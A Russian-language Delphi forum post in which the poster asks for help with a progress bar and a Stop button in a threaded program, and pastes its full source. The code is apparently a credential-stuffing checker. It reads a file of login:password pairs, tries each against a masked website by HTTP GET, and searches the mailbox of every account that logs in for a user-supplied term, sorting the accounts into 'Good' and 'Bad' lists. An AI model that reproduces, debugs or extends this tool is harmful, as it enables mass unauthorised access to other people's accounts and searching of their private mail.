Показать сообщение отдельно
  #22  
Старый 20.04.2015, 18:21
AlexBerg001 AlexBerg001 вне форума
Прохожий
 
Регистрация: 13.04.2015
Сообщения: 24
Версия Delphi: Delphi 2010
Репутация: 10
По умолчанию

Ну в общем, создал поток и сделал синхронизацию, вроде всё работает, но осталось ещё несколько проблем:
1)прогрессбар не доходит до конца;
2)как остановить выполнение программы по нажатию кнопки Стоп?
Код:
unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sButton, ComCtrls, acProgressBar, sMemo,
  sLabel, sEdit, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL,
  IdCookieManager, IdIntercept, IdCompressionIntercept, sDialogs;

type
  TForm2 = class(TForm)
    sMemo1: TsMemo;
    sButton1: TsButton;
    IdHTTP1: TIdHTTP;
    IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
    sEdit3: TsEdit;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sLabel5: TsLabel;
    sMemo2: TsMemo;
    sButton2: TsButton;
    sOpenDialog1: TsOpenDialog;
    sLabel6: TsLabel;
    sLabel7: TsLabel;
    sLabel8: TsLabel;
    sLabel9: TsLabel;
    sSkinManager1: TsSkinManager;
    sProgressBar1: TsProgressBar;
    sButton3: TsButton;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    { Private declarations }
  public
    { Public declarations }
  end;

type
  TMyThread = class(TThread)
  private
  protected
  procedure Good;
  procedure Bad;
  procedure ProgressBar;
  procedure MemoClear;
    procedure Execute; override;
end;


var
  Form2: TForm2;
  Accounts: TStringList;
  Login, Password, del: string;
  ProgressPos: integer;

implementation

{$R *.dfm}


procedure TForm2.sButton2Click(Sender: TObject);
begin
Accounts:=TStringList.Create;
if sOpenDialog1.Execute then
begin
  Accounts.Clear;
  sMemo1.Lines.Clear;
  sMemo2.Lines.Clear;
  Accounts.LoadFromFile(sOpenDialog1.FileName);
  sLabel9.Caption:=inttostr(Accounts.Count);
  end;
if pos(';', Accounts.Strings[0])<>0 then
begin
  del:=';';
end else
begin
del:=':';
 end;
end;


procedure TForm2.sButton1Click(Sender: TObject);
begin
TMyThread.Create(False);
end;


procedure TMyThread.MemoClear;
begin
 Form2.sMemo1.Lines.Clear;
 Form2.sMemo2.Lines.Clear;
end;


procedure TMyThread.ProgressBar;
begin
 Form2.sProgressBar1.Position:=ProgressPos;
 Form2.sProgressBar1.Max:=Accounts.Count;
end;


procedure TMyThread.Bad;
begin
 Form2.sMemo2.Lines.Add(Login+del+Password);
 Form2.sLabel6.Caption:=inttostr(Form2.sMemo2.Lines.Count);
end;


procedure TMyThread.Good;
begin
 Form2.sMemo1.Lines.Add(Login+del+Password);
 Form2.sLabel7.Caption:=inttostr(Form2.sMemo1.Lines.Count);
end;


procedure TMyThread.Execute;
  var
  HTML: string;
  Acc: integer;
begin;
Synchronize(MemoClear);
for Acc := 0 to Accounts.Count-1 do
 begin
 ProgressPos:=Acc;
 Synchronize(ProgressBar);
 Login:=copy(Accounts[Acc], 1, pos(del, Accounts[Acc])-1);
 Password:=copy(Accounts[Acc], pos(del, Accounts[Acc])+1, MaxInt);
 HTML:=Form2.IdHTTP1.Get('http://xxxxxx&Login='+Login+'&Password='+Password);
  if pos ('class="button__valign"', HTML)<>0 then
  begin
   HTML:=Form2.IdHTTP1.Get('https://xxxxxx'+Form2.sEdit3.Text+'&q%5Ffolder=all');
   if pos ('class="gosearch-message"', HTML)<>0 then
    begin
     Synchronize(Bad);
    end
    else
    begin
     Synchronize(Good);
    end;
  end
else
begin
Synchronize(Bad);
end;

end;

end;


end.